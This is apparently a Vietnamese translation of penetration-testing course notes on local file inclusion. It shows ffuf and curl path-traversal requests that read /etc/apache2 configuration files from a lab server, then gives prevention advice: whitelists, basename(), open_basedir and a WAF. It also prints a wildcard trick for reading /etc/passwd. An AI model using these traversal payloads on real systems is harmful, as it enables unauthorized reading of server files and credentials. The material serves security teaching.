Như phần trước, để thực hiện log poisoning, ta cần xác định đúng thư mục log. Đồng thời, để biết webroot và các thông tin quan trọng (ví dụ đường log), ta nên đọc cấu hình máy chủ.
Có thể dùng LFI-Jhaddix.txt vì nó chứa nhiều đường log và config thường gặp. Nếu muốn quét chính xác hơn, dùng wordlist riêng cho Linux hoặc Windows (không thuộc seclists, cần tải thêm). Thử wordlist Linux với LFI:
H4DUYLONG@htb[/htb]$ ffuf -w ./LFI-WordList-Linux:FUZZ -u 'http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ' -fs 2287
...SNIP...
:: Method : GET
:: URL : http://<SERVER_IP>:<PORT>/index.php?language=../../../../FUZZ
:: Wordlist : FUZZ: ./LFI-WordList-Linux
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
:: Filter : Response size: 2287
________________________________________________
/etc/hosts [Status: 200, Size: 2461, Words: 636, Lines: 72]
/etc/hostname [Status: 200, Size: 2300, Words: 634, Lines: 66]
/etc/login.defs [Status: 200, Size: 12837, Words: 2271, Lines: 406]
/etc/fstab [Status: 200, Size: 2324, Words: 639, Lines: 66]
/etc/apache2/apache2.conf [Status: 200, Size: 9511, Words: 1575, Lines: 292]
/etc/issue.net [Status: 200, Size: 2306, Words: 636, Lines: 66]
...SNIP...
/etc/apache2/mods-enabled/status.conf [Status: 200, Size: 3036, Words: 715, Lines: 94]
/etc/apache2/mods-enabled/alias.conf [Status: 200, Size: 3130, Words: 748, Lines: 89]
/etc/apache2/envvars [Status: 200, Size: 4069, Words: 823, Lines: 112]
/etc/adduser.conf [Status: 200, Size: 5315, Words: 1035, Lines: 153]
Quét trả về hơn 60 kết quả, nhiều cái không có trong LFI-Jhaddix.txt, cho thấy quét chính xác đôi khi rất quan trọng. Giờ ta có thể thử đọc các tệp này. Ví dụ đọc apache2.conf:
H4DUYLONG@htb[/htb]$ curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/apache2.conf
...SNIP...
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
...SNIP...
Ta lấy được webroot mặc định và đường log. Tuy nhiên log dùng biến toàn cục APACHE_LOG_DIR, nằm trong (/etc/apache2/envvars) — đọc thêm để biết giá trị biến:
H4DUYLONG@htb[/htb]$ curl http://<SERVER_IP>:<PORT>/index.php?language=../../../../etc/apache2/envvars
...SNIP...
export APACHE_RUN_USER=www-data
export APACHE_RUN_GROUP=www-data
# temporary state file location. This might be changed to /run in Wheezy+1
export APACHE_PID_FILE=/var/run/apache2$SUFFIX/apache2.pid
export APACHE_RUN_DIR=/var/run/apache2$SUFFIX
export APACHE_LOCK_DIR=/var/lock/apache2$SUFFIX
# Only /var/log/apache2 is handled by /etc/logrotate.d/apache2.
export APACHE_LOG_DIR=/var/log/apache2$SUFFIX
...SNIP...
Ta thấy APACHE_LOG_DIR = /var/log/apache2, còn apache2.conf cho biết tên tệp log là access.log và error.log (đã dùng ở phần trước).
Lưu ý: Dĩ nhiên ta có thể dùng wordlist để tìm log (nhiều wordlist ở trên đã chỉ ra vị trí). Nhưng bài tập này cho thấy cách đọc tuần tự các tệp tìm được, rồi dùng thông tin phát hiện để lần ra nhiều tệp & thông tin hơn — tương tự khi ta đọc các nguồn tệp khác nhau ở phần PHP filters. Cách này có thể lộ ra những thông tin ứng dụng chưa biết trước, giúp nâng cấp khai thác.
Công cụ LFI
Cuối cùng, ta có thể dùng một số tool LFI để tự động hóa phần lớn quy trình đã học — giúp tiết kiệm thời gian trong vài trường hợp, nhưng cũng có thể bỏ sót lỗ hổng/tệp mà kiểm thử thủ công phát hiện được. Các tool thường gặp: LFISuite, LFiFreak, liffy. Có thể tìm thêm trên GitHub; nhìn chung các tool làm những việc tương tự, mức độ hiệu quả/chính xác khác nhau.
Đáng tiếc, phần lớn các tool này không còn bảo trì và phụ thuộc python2 (đã lỗi thời), nên không phải giải pháp lâu dài. Hãy thử tải một vài tool kể trên và test trên các bài lab trong mô-đun này để tự đánh giá độ chính xác của chúng.
File Inclusion Prevention
Module này đã bàn về nhiều cách phát hiện và khai thác lỗ hổng file inclusion, cùng các kỹ thuật bypass bảo mật và thực thi mã từ xa (RCE) có thể tận dụng. Với hiểu biết đó về cách nhận diện lỗ hổng file inclusion qua quá trình kiểm thử xâm nhập, giờ chúng ta sẽ học cách vá các lỗ hổng này và “cứng hóa” hệ thống để giảm khả năng xảy ra cũng như giảm tác động nếu chúng xảy ra.
Ngăn chặn File Inclusion
Điều hiệu quả nhất để giảm lỗ hổng file inclusion là tránh truyền bất kỳ dữ liệu do người dùng kiểm soát vào các hàm/API dùng để include/đọc tệp. Trang nên nạp tài nguyên động ở phía backend mà không có tương tác từ người dùng. Hơn nữa, ở phần đầu module, chúng ta đã nói về các hàm có thể được dùng để include tệp vào trang và quyền hạn của mỗi hàm. Bất cứ khi nào dùng những hàm này, phải đảm bảo không có đầu vào của người dùng được đưa trực tiếp vào chúng. Dĩ nhiên danh sách hàm đó không đầy đủ, nên về tổng quát, hãy coi bất kỳ hàm nào có thể đọc tệp đều cần cẩn trọng.
Trong một số trường hợp, điều này không khả thi vì có thể cần thay đổi toàn bộ kiến trúc ứng dụng web hiện có. Khi đó, hãy dùng danh sách cho phép (whitelist) giới hạn các đầu vào hợp lệ, và ánh xạ từng đầu vào tới tệp cần nạp, đồng thời có giá trị mặc định cho mọi đầu vào khác. Nếu đang xử lý một ứng dụng có sẵn, ta có thể tạo whitelist chứa tất cả đường dẫn hiện dùng ở front-end, rồi dùng danh sách này để so khớp đầu vào người dùng. Whitelist có thể ở nhiều dạng: bảng CSDL ánh xạ ID → tệp; script case ánh xạ tên → tệp; hoặc một file JSON tĩnh gồm cặp tên ↔ tệp để so khớp.
Khi đã triển khai như vậy, đầu vào người dùng không đi vào hàm, mà các tệp đã được ánh xạ mới đi vào hàm, nhờ đó tránh được lỗ hổng file inclusion.
Ngăn chặn Directory Traversal
Nếu kẻ tấn công điều khiển được thư mục, họ có thể thoát khỏi ứng dụng web và tấn công thứ quen thuộc hơn hoặc dùng chuỗi tấn công phổ biến. Như đã thảo luận, directory traversal có thể cho phép kẻ tấn công:
- Đọc /etc/passwd và có thể tìm SSH keys hoặc biết tên người dùng hợp lệ để spray mật khẩu
- Tìm các dịch vụ khác trên máy (ví dụ Tomcat) và đọc tomcat-users.xml
- Tìm cookie phiên PHP hợp lệ và chiếm quyền phiên
- Đọc cấu hình và mã nguồn ứng dụng web hiện tại
Cách tốt nhất để ngăn chặn directory traversal là dùng công cụ dựng sẵn của ngôn ngữ/framework để chỉ lấy tên tệp. Ví dụ, PHP có basename() — đọc một đường dẫn và chỉ trả về phần tên tệp. Nếu chỉ đưa tên tệp, nó trả về đúng tên tệp; nếu đưa cả đường dẫn, nó coi phần sau dấu / cuối cùng là tên tệp. Nhược điểm: nếu ứng dụng cần đi vào các thư mục con, cách này sẽ không làm được.
Nếu bạn tự viết hàm xử lý, có thể bạn không lường hết các trường hợp cạnh. Ví dụ, trong bash, vào thư mục home (cd ~) rồi chạy: cat .?/.*/.?/etc/passwd
Bạn sẽ thấy Bash cho phép dùng wildcard ? và * như một biến thể của ... Bây giờ nhập php -a để vào PHP CLI rồi chạy: echo file_get_contents('.?/.*/.?/etc/passwd');
Bạn sẽ thấy PHP không có hành vi giống Bash với wildcard; nếu thay ? và * bằng ., lệnh sẽ chạy như mong đợi. Điều này cho thấy trường hợp cạnh với hàm tự viết ở trên: nếu ta để PHP gọi bash bằng system(), kẻ tấn công có thể bypass cơ chế ngăn chặn directory traversal của ta. Nếu dùng hàm gốc của framework/ngôn ngữ, khả năng cao người khác đã bắt được các trường hợp cạnh như vậy và sửa trước khi bị khai thác.
Ngoài ra, ta có thể làm sạch đầu vào người dùng để đệ quy loại bỏ mọi cố gắng leo thang thư mục, như sau:
while(substr_count($input, '../', 0)) {
$input = str_replace('../', '', $input);
};
Đoạn code trên loại bỏ đệ quy chuỗi ../; ngay cả khi kết quả vẫn còn ../ thì nó vẫn tiếp tục loại bỏ, giúp ngăn được một số bypass đã thử trong module.
Cấu hình Web Server
Có nhiều cấu hình giúp giảm tác động của lỗ hổng file inclusion nếu chúng xảy ra. Ví dụ, vô hiệu việc include tệp từ xa trên toàn hệ thống. Trong PHP có thể đặt allow_url_fopen và allow_url_include thành Off.
Cũng thường có thể khóa ứng dụng web vào web root, ngăn truy cập tệp không liên quan đến web. Cách phổ biến ngày nay là chạy ứng dụng trong Docker. Nếu không thể, nhiều ngôn ngữ có cách ngăn truy cập ra ngoài thư mục web. Trong PHP, có thể thêm: open_basedir = /var/www
trong php.ini. Bên cạnh đó, hãy đảm bảo tắt các module tiềm ẩn nguy hiểm, như PHP Expect, mod_userdir.
Nếu cấu hình này được áp dụng, việc truy cập tệp ngoài thư mục ứng dụng web sẽ bị chặn; vì vậy, dù phát hiện LFI, tác động cũng được giảm nhẹ.
Web Application Firewall (WAF)
Cách gia cố phổ quát là dùng WAF, như ModSecurity. Khi làm việc với WAF, điều quan trọng nhất là tránh dương tính giả và chặn nhầm yêu cầu hợp lệ. ModSecurity giảm dương tính giả bằng chế độ “permissive” (chỉ báo cáo những gì nó sẽ chặn). Điều này cho phép đội phòng thủ tinh chỉnh luật để không chặn nhầm. Ngay cả khi tổ chức không muốn bật chế độ “chặn”, chỉ cần để ở chế độ permissive cũng có thể là cảnh báo sớm khi ứng dụng bị tấn công.
Cuối cùng, hãy nhớ mục đích của hardening là tạo một “vỏ bọc” chắc hơn, để khi tấn công xảy ra, phía phòng thủ có thêm thời gian phản ứng. Theo FireEye M-Trends Report 2020, thời gian trung bình để một công ty phát hiện hacker là 30 ngày. Với hardening đúng cách, kẻ tấn công sẽ để lại nhiều dấu vết hơn, và tổ chức hy vọng sẽ phát hiện nhanh hơn.
Mục tiêu của hardening không phải biến hệ thống thành “không thể bị hack”, nên không thể vì “đã cứng hóa” mà bỏ qua giám sát log. Hệ thống đã harden vẫn cần kiểm thử liên tục, đặc biệt sau khi xuất hiện zero-day liên quan tới công nghệ bạn dùng (vd: Apache Struts, Rails, Django, …). Trong đa số trường hợp, zero-day vẫn có tác dụng, nhưng nhờ hardening, nó có thể tạo ra log đặc thù, giúp xác nhận liệu exploit đã được dùng lên hệ thống hay chưa.
